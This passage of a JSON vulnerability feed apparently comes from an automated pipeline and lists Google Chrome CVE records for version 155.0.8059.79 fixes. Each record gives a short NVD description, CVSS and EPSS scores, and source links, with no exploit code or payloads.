fixes.","publishedAt":"2026-10-13T22:17:35.730Z","updatedAt":"2026-10-14T17:48:40.963Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110158","asOf":"2026-10-14T17:48:40.963Z"},"epss":{"probability":0.0031,"percentile":0.23666,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110158&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110158","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110158","type":"primary","publishedAt":"2026-10-13T22:17:35.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110158&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110158, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110157","cveId":"CVE-2026-110157","aliases":[],"kind":"vulnerability","title":"Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:35.620Z","updatedAt":"2026-10-15T04:18:20.380Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110157","asOf":"2026-10-15T04:18:20.380Z"},"epss":{"probability":0.00317,"percentile":0.24438,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110157&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110157","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110157","type":"primary","publishedAt":"2026-10-13T22:17:35.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110157&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110157, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110156","cveId":"CVE-2026-110156","aliases":[],"kind":"vulnerability","title":"Incorrect reference resolution in Extensions in Google Chrome on on Mac prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute...","summary":"Incorrect reference resolution in Extensions in Google Chrome on on Mac prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: High)","detail":"Incorrect reference resolution in Extensions in Google Chrome on on Mac prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:35.513Z","updatedAt":"2026-10-15T04:18:20.170Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110156","asOf":"2026-10-15T04:18:20.170Z"},"epss":{"probability":0.00286,"percentile":0.20973,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110156&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110156","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110156","type":"primary","publishedAt":"2026-10-13T22:17:35.513Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110156&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110156, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110155","cveId":"CVE-2026-110155","aliases":[],"kind":"vulnerability","title":"Buffer overflow in PDFium in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Buffer overflow in PDFium in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Buffer overflow in PDFium in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:35.400Z","updatedAt":"2026-10-15T04:18:19.970Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110155","asOf":"2026-10-15T04:18:19.970Z"},"epss":{"probability":0.00326,"percentile":0.25426,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110155&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110155","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110155","type":"primary","publishedAt":"2026-10-13T22:17:35.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110155&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110155, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110154","cveId":"CVE-2026-110154","aliases":[],"kind":"vulnerability","title":"Use after free in Canvas in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Canvas in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Canvas in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:35.293Z","updatedAt":"2026-10-15T04:18:19.767Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110154","asOf":"2026-10-15T04:18:19.767Z"},"epss":{"probability":0.00291,"percentile":0.2143,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110154&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110154","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110154","type":"primary","publishedAt":"2026-10-13T22:17:35.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110154&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110154, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110153","cveId":"CVE-2026-110153","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:35.187Z","updatedAt":"2026-10-15T04:18:19.570Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110153","asOf":"2026-10-15T04:18:19.570Z"},"epss":{"probability":0.00291,"percentile":0.21431,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110153&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110153","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110153","type":"primary","publishedAt":"2026-10-13T22:17:35.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110153&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110153, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110151","cveId":"CVE-2026-110151","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:34.963Z","updatedAt":"2026-10-15T04:18:19.060Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110151","asOf":"2026-10-15T04:18:19.060Z"},"epss":{"probability":0.00364,"percentile":0.30005,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110151&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110151","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110151","type":"primary","publishedAt":"2026-10-13T22:17:34.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110151&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110151, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110148","cveId":"CVE-2026-110148","aliases":[],"kind":"vulnerability","title":"Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in SVG in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:34.637Z","updatedAt":"2026-10-15T04:18:18.647Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110148","asOf":"2026-10-15T04:18:18.647Z"},"epss":{"probability":0.00364,"percentile":0.30005,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110148&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110148","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110148","type":"primary","publishedAt":"2026-10-13T22:17:34.637Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110148&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110148, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110147","cveId":"CVE-2026-110147","aliases":[],"kind":"vulnerability","title":"Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in PDF in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:34.530Z","updatedAt":"2026-10-15T04:18:18.397Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110147","asOf":"2026-10-15T04:18:18.397Z"},"epss":{"probability":0.00309,"percentile":0.23511,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110147&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110147","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110147","type":"primary","publishedAt":"2026-10-13T22:17:34.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110147&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110147, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110145","cveId":"CVE-2026-110145","aliases":[],"kind":"vulnerability","title":"Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the...","summary":"Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Passwords in Google Chrome prior to 155.0.8059.79 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:34.313Z","updatedAt":"2026-10-15T04:18:18.180Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110145","asOf":"2026-10-15T04:18:18.180Z"},"epss":{"probability":0.00284,"percentile":0.20753,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110145&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110145","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110145","type":"primary","publishedAt":"2026-10-13T22:17:34.313Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110145&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110145, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110144","cveId":"CVE-2026-110144","aliases":[],"kind":"vulnerability","title":"Incorrect authorization in Mojo in Google Chrome on on Windows prior to 155.0.8059.79 allowed a local attacker to potentially execute arbitrary code outside the sandbox via a...","summary":"Incorrect authorization in Mojo in Google Chrome on on Windows prior to 155.0.8059.79 allowed a local attacker to potentially execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)","detail":"Incorrect authorization in Mojo in Google Chrome on on Windows prior to 155.0.8059.79 allowed a local attacker to potentially execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T22:17:34.203Z","updatedAt":"2026-10-15T04:18:17.963Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110144","asOf":"2026-10-15T04:18:17.963Z"},"epss":{"probability":0.00199,"percentile":0.09633,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110144&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110144","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110144","type":"primary","publishedAt":"2026-10-13T22:17:34.203Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110144&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for 